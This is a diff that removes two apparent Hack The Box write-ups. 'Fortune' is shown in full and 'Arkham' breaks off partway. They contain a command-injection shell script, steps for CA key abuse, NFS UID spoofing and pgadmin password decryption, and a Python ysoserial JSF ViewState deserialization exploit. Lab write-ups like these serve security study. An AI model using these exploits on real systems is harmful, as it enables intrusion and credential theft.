/assets/images/htb-writeup-fortune/fortune_logo.png -categories: - - hackthebox - - infosec -tags: - - python - - flask - - command injection - - certificate - - nfs - - port forward - - ssh - - postgresql - - sqlite - - pgadmin - - openssl ---- - -![](/assets/images/htb-writeup-fortune/fortune_logo.png) - -In this box, I use a simple command injection on the web fortune application that allows me to find the Intermediate CA certificate and its private key. After importing the certificates in Firefox, I can authenticate to the HTTPS page and access a privileged page that generates an SSH private key. Next is SSH port forwarding to access an NFS share, upload my SSH public key to escalate to another user, then recover a pgadmin database which contains the DBA password which is also the root password. Cool box overall, but it should have been rated Hard instead of Insane. - -## Summary - -- There's a command injection found in the `db` parameter of the web fortune application -- The intermediate CA private key is found in a directory that I can access through the command injection -- I can generate a client certificate that I will use to access the ssh authentication web page -- After generating an SSH private keym, I can establish an SSH session as user `nfsuser` -- By port-forwarding port 2049 I can mount the `/home` directory of the NFS server -- With NFS I write my SSH public key into the `charlie` user directory and gain SSH access there -- The pgadmin application database is exposed and I can recover the dba account password since I have the encrypted value and the decryption key -- Based on a note found when I first got access, I know the dba password is the same as the root account and I can `su` to gain root access - -## Detailed steps - -### Nmap - -This box runs SSH and the OpenBSD httpd web server with both HTTP and HTTPS ports open. - -``` -# nmap -sC -sV -p- -oA fortune fortune.htb -Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-09 19:01 EST -Nmap scan report for fortune.htb (10.10.10.127) -Host is up (0.012s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.9 (protocol 2.0) -| ssh-hostkey: -| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA) -| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA) -|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519) -80/tcp open http OpenBSD httpd -|_http-server-header: OpenBSD httpd -|_http-title: Fortune -443/tcp open ssl/https? -|_ssl-date: TLS randomness does not represent time -``` - -### Command injection on the fortune web app - -The website shows a list of databases that I can select, then it runs the `fortune` application to return random quotes. - -From the man page: ->fortune — print a random, hopefully interesting, adage - -![](/assets/images/htb-writeup-fortune/fortune1.png) - -![](/assets/images/htb-writeup-fortune/fortune2.png) - -The fortune web app has a pretty trivial command injection vulnerability. It simply appends what I pass in the `db` parameter to the `fortune` application call. I can run arbitrary commands and programs simply by adding a semi-colon after the database name. - -The example here shows I can run `id` and list the root directory: - -![](/assets/images/htb-writeup-fortune/fortune3.png) - -Because I wasn't sure how much time I'd need to spend poking around the system through that command injection vulnerability, I wrote a quick python script that runs commands and cleans up the output. The output of all commands is displayed to screen and also saved to `output.txt`. - -```python -#!/usr/bin/python - -import re -import readline -import requests - -f = open("output.txt", "a") - -while True: - cmd = raw_input("> ") - data = { "db": ";echo '****';{}".format(cmd)} - r = requests.post("http://fortune.htb/select", data=data) - m = re.search("\*\*\*\*(.*)", r.text, re.DOTALL) - if m: - print m.group(1) - f.write("CMD: {}".format(cmd)) - f.write(m.group(1)) -``` - -Here's what the output looks like: - -``` -> ls -l - -total 56 -drwxrwxrwx 2 _fortune _fortune 512 Nov 2 23:39 __pycache__ --rw-r--r-- 1 root _fortune 341 Nov 2 22:58 fortuned.ini --rw-r----- 1 _fortune _fortune 14581 Mar 9 19:03 fortuned.log --rw-rw-rw- 1 _fortune _fortune 6 Mar 9 18:38 fortuned.pid --rw-r--r-- 1 root _fortune 413 Nov 2 22:59 fortuned.py -drwxr-xr-x 2 root _fortune 512 Nov 2 22:57 templates --rw-r--r-- 1 root _fortune 67 Nov 2 22:59 wsgi.py - -> tail -n 10 /etc/passwd - -_syspatch:*:112:112:syspatch unprivileged user:/var/empty:/sbin/nologin -_slaacd:*:115:115:SLAAC Daemon:/var/empty:/sbin/nologin -_postgresql:*:503:503:PostgreSQL Manager:/var/postgresql:/bin/sh -_pgadmin4:*:511:511::/usr/local/pgadmin4:/usr/local/bin/bash -_fortune:*:512:512::/var/appsrv/fortune:/sbin/nologin -_sshauth:*:513:513::/var/appsrv/sshauth:/sbin/nologin -nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin -charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh -bob:*:1001:1001::/home/bob:/bin/ksh -nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf -``` - -The user `_fortune` has `/sbin/nologin` for his shell so I can't just upload my SSH keys to get a real shell through SSH. - -### Looking around the box as user _fortune - -The previous box by AuxSarge had some special SSH configuration that made use of a local database to check the public keys of users. The first thing I did on this box was check the SSH configuration to see if there was something similar: - -`/etc/ssh/sshd_config` has a special configuration for user `nfuser` that looks up the public key in a postgresql database instead of `.ssh` - -``` -Match User nfsuser - AuthorizedKeysFile none - AuthorizedKeysCommand /usr/local/bin/psql -Aqt -c "SELECT key from authorized_keys where uid = '%u';" authpf appsrv - AuthorizedKeysCommandUser _sshauth -``` - -I spotted another web app in `/var/appsrv/sshauth` I didn't find in my initial enumeration. It's written in Python and running the Flask framework. - -``` -> ls -l /var/appsrv - -total 12 -drwxr-xr-x 4 _fortune _fortune 512 Feb 3 05:08 fortune -drwxr-x--- 4 _pgadmin4 wheel 512 Nov 3 10:58 pgadmin4 -drwxr-xr-x 4 _sshauth _sshauth 512 Feb 3 05:08 sshauth - -> ls -l /var/appsrv/sshauth - -total 52 -drwxrwxrwx 2 _sshauth _sshauth 512 Nov 2 23:39 __pycache__ --rw-r--r-- 1 _sshauth _sshauth 341 Nov 2 23:10 sshauthd.ini --rw-r----- 1 _sshauth _sshauth 13371 Mar 9 18:39 sshauthd.log --rw-rw-rw- 1 _sshauth _sshauth 6 Mar 9 18:38 sshauthd.pid --rw-r--r-- 1 _sshauth _sshauth 1799 Nov 2 23:12 sshauthd.py -drwxr-xr-x 2 _sshauth _sshauth 512 Nov 2 23:08 templates --rw-r--r-- 1 _sshauth _sshauth 67 Nov 2 23:06 wsgi.py -``` - -I can see with `ps` that the application is running through `uwsgi`: - -``` -> ps waux | grep sshauth - -_sshauth 39927 0.0 2.5 19164 26268 ?? S 6:38PM 0:00.41 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log -_sshauth 4866 0.0 0.5 19164 5588 ?? I 6:38PM 0:00.00 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log -_sshauth 13512 0.0 0.5 19168 5564 ?? I 6:38PM 0:00.00 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log -_sshauth 18294 0.0 0.5 19168 5564 ?? I 6:38PM 0:00.00 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log -``` - -The web app has a route for `/generate` which calls a function that generates a new SSH keypair and displays it to the user. - -```python -@app.route('/generate', methods=['GET']) -def sshauthd(): - - # SSH key generation code courtesy of: - # https://msftstack.wordpress.com/2016/10/15/generating-rsa-keys-with-python-3/ - # - from cryptography.hazmat.primitives import serialization - from cryptography.hazmat.primitives.asymmetric import rsa - from cryptography.hazmat.backends import default_backend - - # generate private/public key pair - key = rsa.generate_private_key(backend=default_backend(), public_exponent=65537, \ - key_size=2048) - - # get public key in OpenSSH format - public_key = key.public_key().public_bytes(serialization.Encoding.OpenSSH, \ - serialization.PublicFormat.OpenSSH) - - # get private key in PEM container format - pem = key.private_bytes(encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption()) - - # decode to printable strings - private_key_str = pem.decode('utf-8') - public_key_str = public_key.decode('utf-8') - - db_response = db_write(public_key_str) - - if db_response == False: - return render_template('error.html') - else: - return render_template('display.html', private_key=private_key_str, public_key=public_key_str) -``` - -Looking at the `httpd.conf` configuration file, I see that the `/generate` route is accessible only on the HTTPS port. However I can't access the HTTPS port because the server is configured for client certificate authentication. - -![](/assets/images/htb-writeup-fortune/ssl_fail.png) - -``` -> cat /etc/httpd.conf - -server "fortune.htb" { - listen on * port 80 - - location "/" { - root "/htdocs/fortune" - } - - location "/select" { - fastcgi socket "/run/fortune/fortuned.socket" - } -} - -server "fortune.htb" { - listen on * tls port 443 - tls client ca "/etc/ssl/ca-chain.crt" - location "/" { - root "/htdocs/sshauth" - } - location "/generate" { - fastcgi socket "/run/sshauth/sshauthd.socket" - } -} -``` - -I keep looking and find a boatload of certificates in bob's home directory: - -``` -> ls -lR /home/bob - -total 8 -drwxr-xr-x 7 bob bob 512 Oct 29 20:57 ca -drwxr-xr-x 2 bob bob 512 Nov 2 22:40 dba - -/home/bob/ca: -total 48 -drwxr-xr-x 2 bob bob 512 Oct 29 20:44 certs -drwxr-xr-x 2 bob bob 512 Oct 29 20:37 crl --rw-r--r-- 1 bob bob 115 Oct 29 20:56 index.txt --rw-r--r-- 1 bob bob 21 Oct 29 20:56 index.txt.attr --rw-r--r-- 1 bob bob 0 Oct 29 20:37 index.txt.old -drwxr-xr-x 7 bob bob 512 Nov 3 15:37 intermediate -drwxr-xr-x 2 bob bob 512 Oct 29 20:56 newcerts --rw-r--r-- 1 bob bob 4200 Oct 29 20:55 openssl.cnf -drwx------ 2 bob bob 512 Oct 29 20:41 private --rw-r--r-- 1 bob bob 5 Oct 29 20:56 serial --rw-r--r-- 1 bob bob 5 Oct 29 20:37 serial.old - -/home/bob/ca/certs: -total 8 --r--r--r-- 1 bob bob 2053 Oct 29 20:44 ca.cert.pem - -/home/bob/ca/crl: - -/home/bob/ca/intermediate: -total 52 -drwxr-xr-x 2 bob bob 512 Nov 3 15:40 certs -drwxr-xr-x 2 bob bob 512 Oct 29 20:46 crl --rw-r--r-- 1 bob bob 5 Oct 29 20:47 crlnumber -drwxr-xr-x 2 bob bob 512 Oct 29 21:13 csr --rw-r--r-- 1 bob bob 107 Oct 29 21:13 index.txt --rw-r--r-- 1 bob bob 21 Oct 29 21:13 index.txt.attr -drwxr-xr-x 2 bob bob 512 Oct 29 21:13 newcerts --rw-r--r-- 1 bob bob 4328 Oct 29 20:56 openssl.cnf -drwxr-xr-x 2 bob bob 512 Oct 29 21:13 private --rw-r--r-- 1 bob bob 5 Oct 29 21:13 serial --rw-r--r-- 1 bob bob 5 Oct 29 21:13 serial.old - -/home/bob/ca/intermediate/certs: -total 24 --r--r--r-- 1 bob bob 4114 Oct 29 20:58 ca-chain.cert.pem --r--r--r-- 1 bob bob 1996 Oct 29 21:13 fortune.htb.cert.pem --r--r--r-- 1 bob bob 2061 Oct 29 20:56 intermediate.cert.pem - -/home/bob/ca/intermediate/crl: - -/home/bob/ca/intermediate/csr: -total 8 --rw-r--r-- 1 bob bob 1013 Oct 29 21:12 fortune.htb.csr.pem --rw-r--r-- 1 bob bob 1716 Oct 29 20:53 intermediate.csr.pem - -/home/bob/ca/intermediate/newcerts: -total 4 --rw-r--r-- 1 bob bob 1996 Oct 29 21:13 1000.pem - -/home/bob/ca/intermediate/private: -total 12 --r-------- 1 bob bob 1675 Oct 29 21:10 fortune.htb.key.pem --rw-r--r-- 1 bob bob 3243 Oct 29 20:48 intermediate.key.pem - -/home/bob/ca/newcerts: -total 8 --rw-r--r-- 1 bob bob 2061 Oct 29 20:56 1000.pem - -/home/bob/ca/private: - -/home/bob/dba: -total 4 --rw-r--r-- 1 bob bob 195 Nov 2 22:40 authpf.sql -``` - -I compare the CA cert used by the `httpd` service with the certs found in the folder and I find a match for the intermediate CA cert. - -``` -> md5 /etc/ssl/ca-chain.crt -MD5 (/etc/ssl/ca-chain.crt) = b5217e28843aace50f46951bc136632e - -> md5 /home/bob/ca/intermediate/certs/ca-chain.cert.pem -MD5 (/home/bob/ca/intermediate/certs/ca-chain.cert.pem) = b5217e28843aace50f46951bc136632e -``` - -The intermediate CA cert `/home/bob/ca/intermediate/certs/intermediate.cert.pem` and its private key `/home/bob/ca/intermediate/private/intermediate.key.pem` are both readable by my user. - -I download both Intermediate CA files and the CA cert on my machine then I combined the Intermediate CA cert and its private key into a PKCS12 package: - -``` -openssl pkcs12 -export -inkey intermediate.key.pem -in intermediate.cert.pem -out snowscan.p12 -``` - -I'll import both the Intermediate and CA certs into my Firefox trusted autorities store: - -![](/assets/images/htb-writeup-fortune/https1.png) - -![](/assets/images/htb-writeup-fortune/https2.png) - -Next, I import the PKCS12 file into my personal certificate storage: - -![](/assets/images/htb-writeup-fortune/https3.png) - -I'm prompted to chose a cert when connecting to the webpage - -![](/assets/images/htb-writeup-fortune/https4.png) - -I'm now able to access the HTTPS page: - -![](/assets/images/htb-writeup-fortune/https5.png) - -### Generating a new SSH key for user nfsuser - -When I go to `https://fortune.htb/generate`, a new SSH keypair is generated and the private key is displayed: - -![](/assets/images/htb-writeup-fortune/privatekey.png) - -I can grab this key and use it to SSH as user `nfsuser` -``` -# vi fortune.key -# chmod 400 fortune.key -# ssh -i fortune.key nfsuser@10.10.10.127 - -Hello nfsuser. You are authenticated from host "10.10.14.23" -``` - -I don't get a prompt however. Looking at the `/etc/passwd` file, I see that this user doesn't have a shell associated with him: - -`nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf` - -Because the user is named `nfsuser`, it's safe to assume there is something exported by NFS. I can see this in the `/etc/exports` file: - -``` -> cat /etc/exports - -/home -``` - -The NFS port 2049 is firewalled but I can still access it by using local port forwarding in SSH. - -``` -# ssh -i fortune.key -L 2049:fortune.htb:2049 nfsuser@fortune.htb -Last login: Sat Mar 9 20:08:55 2019 from 10.10.14.23 - -Hello nfsuser. You are authenticated from host "10.10.14.23" -``` - -``` -# mount -t nfs fortune.htb:/home /mnt -# ls -l /mnt -total 6 -drwxr-xr-x 5 revssh revssh 512 Nov 3 16:29 bob -drwxr-x--- 3 test1324 test1324 512 Nov 5 22:02 charlie -drwxr-xr-x 2 1002 1002 512 Nov 2 22:39 nfsuser -``` - -The `charlie` user directory is mapped to user ID 1000. I already has a user ID 1000 created on my Kali Linux box with the name `test1324`: - -``` -# grep test1324 /etc/passwd -test1324:x:1000:1000::/home/test1324:/bin/bash -``` - -To access `charlie`, I simply change to user `test1324` then I'm to access the files and the user flag. - -``` -root@ragingunicorn:~/htb/fortune# su test1324 -test1324@ragingunicorn:/root/htb/fortune$ cd /mnt/charlie -test1324@ragingunicorn:/mnt/charlie$ ls -mbox user.txt -test1324@ragingunicorn:/mnt/charlie$ cat user.txt -ada0af... -``` - -There's a mailbox file with a hint that we should look or the dba password next so we can log in as root: - -``` -test1324@ragingunicorn:/mnt/charlie$ cat mbox -From bob@fortune.htb Sat Nov 3 11:18:51 2018 -Return-Path: -Delivered-To: charlie@fortune.htb -Received: from localhost (fortune.htb [local]) - by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53 - for ; - Sat, 3 Nov 2018 11:18:51 -0400 (EDT) -From: -Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT) -To: charlie@fortune.htb -Subject: pgadmin4 -Message-ID: <196699abe1fed384@fortune.htb> -Status: RO - -Hi Charlie, - -Thanks for setting-up pgadmin4 for me. Seems to work great so far. -BTW: I set the dba password to the same as root. I hope you don't mind. - -Cheers, - -Bob -``` - -To get a proper shell, I added my SSH key to `authorized_keys`: - -``` -test1324@ragingunicorn:/mnt/charlie$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA[...]pgYyFnLt3ysDhscPOtelvd root@ragingunicorn" >> .ssh/authorized_keys -``` - -Now I can log in as `charlie` - -``` -root@ragingunicorn:~# ssh charlie@fortune.htb -OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018 - -Welcome to OpenBSD: The proactively secure Unix-like operating system. -fortune$ -``` - -In `/var/appsrv/pgadmin4`, I find the database for the `pgadmin` application: `pgadmin4.db` - -It's a sqlite database and I already have tools to view this: - -``` -fortune$ file pgadmin4.db -pgadmin4.db: SQLite 3.x database -``` - -I find the user authentication table as well as the server table that contains the encrypted `dba` account password: - -``` -fortune$ sqlite3 pgadmin4.db -SQLite version 3.24.0 2018-06-04 19:24:41 -Enter ".help" for usage hints. -sqlite> .tables -alembic_version roles_users -debugger_function_arguments server -keys servergroup -module_preference setting -preference_category user -preferences user_preferences -process version -role -sqlite> select * from user; -1|charlie@fortune.htb|$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ|1| -2|bob@fortune.htb|$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg|1| - -sqlite> select * from server; -1|2|2|fortune|localhost|5432|postgres|dba|utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz||prefer||||||/.postgresql/postgresql.crt|/.postgresql/postgresql.key|||0||||0||22||0||0| -``` - -I checked the pgadmin source code on github to understand how it decrypts the `dba` password and saw that the `decrypt()` function takes two arguments. Since I already have the two values from the database I'll just copy/paste the code into a new script and punch in the values for bob's user at the end. - -```python -# cat root.py -import base64 -import hashlib -import os - -import six - -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives.ciphers import Cipher -from cryptography.hazmat.primitives.ciphers.algorithms import AES -from cryptography.hazmat.primitives.ciphers.modes import CFB8 - -padding_string = b'}' -iv_size = AES.block_size // 8 - -def pad(key): - """Add padding to the key.""" - - if isinstance(key, six.text_type): - key = key.encode() - - # Key must be maximum 32 bytes long, so take first 32 bytes - key = key[:32] - - # If key size is 16, 24 or 32 bytes then padding is not required - if len(key) in (16, 24, 32): - return key - - # Add padding to make key 32 bytes long - return key.ljust(32, padding_string) - -def decrypt(ciphertext, key): - """ - Decrypt the AES encrypted string. - Parameters: - ciphertext -- Encrypted string with AES method. - key -- key to decrypt the encrypted string. - """ - - ciphertext = base64.b64decode(ciphertext) - iv = ciphertext[:iv_size] - - cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend()) - decryptor = cipher.decryptor() - return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize() - -res = decrypt("utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz", "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg") -print(res.decode('ascii')) -``` - -Decryption works and I get the `dba` password: -``` -root@ragingunicorn:~/htb/fortune# python root.py -R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A! -``` - -Based on the hint I found earlier, I know the `root` password is the same one used for `dba`: -``` -fortune$ su -Password: - -fortune# id -uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) -fortune# cat /root/root.txt -335af7... -``` diff --git a/_posts/2019-08-10-htb-writeup-arkham.md b/_posts/2019-08-10-htb-writeup-arkham.md deleted file mode 100644 index 48533bcc3a..0000000000 --- a/_posts/2019-08-10-htb-writeup-arkham.md +++ /dev/null @@ -1,565 +0,0 @@ ---- -layout: single -title: Arkham - Hack The Box -excerpt: "Arkham was a medium difficulty box that shows how Java deserialization can be used by attackers to get remote code execution. After finding the JSF viewstates encryption key in a LUKS encrypted file partition, I created a Java deserialization payload using ysoserial to upload netcat and get a shell. After getting to user Batman with credentials found in a backup file, I was able to get access to the administrator directory by mounting the local c: drive via SMB instead of doing a proper UAC bypass." -date: 2019-08-10 -classes: wide -header: - teaser: /assets/images/htb-writeup-arkham/arkham_logo.png -categories: - - hackthebox - - infosec -tags: - - java - - deserialization - - smb - - luks - - readpst - - unintended ---- - -![](/assets/images/htb-writeup-arkham/arkham_logo.png) - -Arkham was a medium difficulty box that shows how Java deserialization can be used by attackers to get remote code execution. After finding the JSF viewstates encryption key in a LUKS encrypted file partition, I created a Java deserialization payload using ysoserial to upload netcat and get a shell. After getting to user Batman with credentials found in a backup file, I was able to get access to the administrator directory by mounting the local c: drive via SMB instead of doing a proper UAC bypass. - -## Summary - -- There's an open SMB share where I find an `appserver.zip` file that contains a LUKS encrypted file partition -- After extracting the LUKS hash from the image file, I am able to crack it with hashcat -- I then mount the image and find the JSF app configuration files -- One of the file reveals the MAC secret for the JSF viewstates encryption -- I contruct an exploit that uses an already existing payload generator for JSF ViewStates and gain RCE -- I download netcat through powershell using the exploit then execute it to get a reverse shell -- The user `alfred` has a `backup.zip` file that contains an image with the `batman` user password -- I can get access as `batman` by using WinRM locally but I can't view the admin's directory because of UAC -- The unintended way to solve this one was to mount the local drive and read the system flag, therefore bypassing UAC - -## Blog / Tools - -- [https://articles.forensicfocus.com/2018/02/22/bruteforcing-linux-full-disk-encryption-luks-with-hashcat/](https://articles.forensicfocus.com/2018/02/22/bruteforcing-linux-full-disk-encryption-luks-with-hashcat/) -- [https://hackernoon.com/cracking-linux-full-disc-encryption-luks-with-hashcat-832d554310](https://hackernoon.com/cracking-linux-full-disc-encryption-luks-with-hashcat-832d554310) -- [https://github.com/frohoff/ysoserial](https://github.com/frohoff/ysoserial) -- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - -### Nmap - -``` -# nmap -sC -sV -p- 10.10.10.130 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 22:32 EDT -Nmap scan report for arkham.htb (10.10.10.130) -Host is up (0.0080s latency). -Not shown: 65528 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: IIS Windows Server -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -445/tcp open microsoft-ds? -8080/tcp open http Apache Tomcat 8.5.37 -| http-methods: -|_ Potentially risky methods: PUT DELETE -|_http-open-proxy: Proxy might be redirecting requests -|_http-title: Mask Inc. -49666/tcp open msrpc Microsoft Windows RPC -49667/tcp open msrpc Microsoft Windows RPC -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows -``` - -### Web enum - IIS on port 80 - -I just get the standard default IIS web page when I go to port 80. - -I didn't find anything when dirbusting it. - -![](/assets/images/htb-writeup-arkham/port80.png) - -### Web enum - Apache Tomcat on port 8080 - -The Apache Tomcat page is much more interesting, it's a company's front page with a subscription and contact form. - -![](/assets/images/htb-writeup-arkham/port8080.png) - -![](/assets/images/htb-writeup-arkham/subscribe.png) - -Most of the links are not functional, but to make sure I didn't miss anything I spidered the website with Burp: - -![](/assets/images/htb-writeup-arkham/spider.png) - -The `userSubscribe.faces` file is the *Subscribe* link on the main page. - -The `.faces` extension is used by JavaServer Faces - -According to Wikipedia: - -> JavaServer Faces (JSF) is a Java specification for building component-based user interfaces for web applications[1] and was formalized as a standard through the Java Community Process being part of the Java Platform, Enterprise Edition. It is also a MVC web framework that simplifies construction of user interfaces (UI) for server-based applications by using reusable UI components in a page. - -I'll get back to that after the SMB enumeration, this is the way in. - -### SMB enumeration - -I'll use `smbmap` to quickly scan for accessible shares. I'm using an invalid username here so it connects as guest and not using a null session. -``` -# smbmap -u snowscan -H 10.10.10.130 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.130... -[+] IP: 10.10.10.130:445 Name: arkham.htb - Disk Permissions - ---- ----------- - ADMIN$ NO ACCESS - BatShare READ ONLY - C$ NO ACCESS - IPC$ READ ONLY - Users READ ONLY -``` - -`BatShare` is accessible in read-only mode and there is a single file in there. - -``` -# smbmap -u snowscan -r BatShare -H 10.10.10.130 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.130... -[+] IP: 10.10.10.130:445 Name: arkham.htb - Disk Permissions - ---- ----------- - BatShare READ ONLY - ./ - dr--r--r-- 0 Sun Feb 3 08:04:13 2019 . - dr--r--r-- 0 Sun Feb 3 08:04:13 2019 .. - fr--r--r-- 4046695 Sun Feb 3 08:04:13 2019 appserver.zip -``` - -Downloading the file using `smbmap`: - -``` -# smbmap -u snowscan --download BatShare\\appserver.zip -H 10.10.10.130 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.130... -[+] Starting download: BatShare\appserver.zip (4046695 bytes) -[+] File output to: /usr/share/smbmap/10.10.10.130-BatShare_appserver.zip -``` - -Extracting and checking the content: - -``` -# 7z e 10.10.10.130-BatShare_appserver.zip - -7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 -p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI) - -Scanning the drive for archives: -1 file, 4046695 bytes (3952 KiB) - -Extracting archive: 10.10.10.130-BatShare_appserver.zip --- -Path = 10.10.10.130-BatShare_appserver.zip -Type = zip -Physical Size = 4046695 - -Everything is Ok - -Files: 2 -Size: 13631637 -Compressed: 4046695 -# ls -l -total 17268 --rw-r--r-- 1 root root 4046695 Mar 16 23:24 10.10.10.130-BatShare_appserver.zip --rw-r--r-- 1 root root 13631488 Dec 25 01:05 backup.img --rw-r--r-- 1 root root 149 Dec 25 01:21 IMPORTANT.txt -``` - -I check the `IMPORTANT.txt` message first and see that it contains a hint that the `backup.img` file is protected. - -``` -# cat IMPORTANT.txt -Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce -``` - -I then check what kind of file this is and see that it is a LUKS encrypted file: - -``` -# file backup.img -backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e -``` - -> The Linux Unified Key Setup (LUKS) is a disk encryption specification created by Clemens Fruhwirth in 2004 and originally intended for Linux. - -### Cracking and looking inside LUKS container - -I can extract the beginning of the partition containing the header so I can crack it with hashcat after: - -``` -# dd if=backup.img of=backup_header.dd bs=512 count=5000 -5000+0 records in -5000+0 records out -2560000 bytes (2.6 MB, 2.4 MiB) copied, 0.0232298 s, 110 MB/s -``` - -Now I can crack it with hashcat: - -``` -C:\bin\hashcat>hashcat64 -m 14600 -a 0 -w 3 backup_header.dd passwords\rockyou.txt -hashcat (v5.1.0) starting... - -[...] - -backup_header.dd:batmanforever -``` - -The password is `batmanforever` - -To mount the image I first open the image file and assign it to the device mapper, then mount it under `/mnt`: - -``` -# cryptsetup luksOpen backup.img backup -Enter passphrase for backup.img: [batmanforever] -# mount /dev/mapper/backup /mnt - -root@ragingunicorn:/mnt/Mask# ls -lR -.: -total 880 -drwxr-xr-x 2 root root 1024 Dec 25 00:22 docs --rw-rw-r-- 1 root root 96978 Dec 25 00:18 joker.png --rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg --rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg --rw-rw-r-- 1 root root 7586 Dec 25 00:19 robin.jpeg -drwxr-xr-x 2 root root 1024 Dec 25 00:24 tomcat-stuff - -./docs: -total 196 --rw-r--r-- 1 root root 199998 Jun 15 2017 Batman-Begins.pdf - -./tomcat-stuff: -total 191 --rw-r--r-- 1 root root 1368 Dec 25 00:23 context.xml --rw-r--r-- 1 root root 832 Dec 25 00:24 faces-config.xml --rw-r--r-- 1 root root 1172 Dec 25 00:23 jaspic-providers.xml --rw-r--r-- 1 root root 39 Dec 25 00:24 MANIFEST.MF --rw-r--r-- 1 root root 7678 Dec 25 00:23 server.xml --rw-r--r-- 1 root root 2208 Dec 25 00:23 tomcat-users.xml --rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml --rw-r--r-- 1 root root 3498 Dec 25 00:24 web.xml.bak -``` - -So I have a bunch of files in there, I'll concentrate on the xml files. - -In the `web.xml.bak` file, I find the encryption key for the ViewState. I can use this to construct my own serialized objects and pass them to the server to gain RCE. - -``` -org.apache.myfaces.SECRET -SnNGOTg3Ni0= - - - org.apache.myfaces.MAC_ALGORITHM - HmacSHA1 - - -org.apache.myfaces.MAC_SECRET -SnNGOTg3Ni0= - -``` - -### Java Server Faces object deserialization exploit - -I'll use `ysoserial` to generate the payload, then write some python to calculate the hmac based on the key provided in the `web.xml.bak` file. - -```python -#!/usr/bin/python - -from base64 import b64encode -from hashlib import sha1 -from pwn import * -from requests import post, get - -import hmac -import os -import pyDes -import sys - -def main(): - if len(sys.argv) < 4: - print("Java JSF exploit") - print("Usage: {} \n".format(sys.argv[0])) - sys.exit() - - url = sys.argv[1] - cmd = sys.argv[2] - secret = sys.argv[3] - - log.info("Payload provided: {}".format(cmd)) - cmd = "java -jar ./ysoserial.jar CommonsCollections6 \"{}\" > payload.bin".format(cmd) - log.info("Generating the payload with: {}".format(cmd)) - os.system(cmd) - - log.info("Payload was written to payload.bin, reading it into variable...") - with open("payload.bin", "rb") as f: - payload = f.read() - - log.info("Length of payload: {} bytes".format(len(payload))) - - key = bytes(secret).decode("base64") - des = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) - enc = des.encrypt(payload) - b = hmac.new(key, bytes(enc), sha1).digest() - payload = enc + b - - log.info("Sending encoded payload: {}".format(b64encode(payload))) - data = {"javax.faces.ViewState": b64encode(payload)} - r = post(url, data=data) - log.success("Done!") - -if __name__ == "__main__": - main() -``` - -To get a reverse shell, I'll generate a payload that downloads netcat from my machine and store in it c:\programdata. I'm a fan 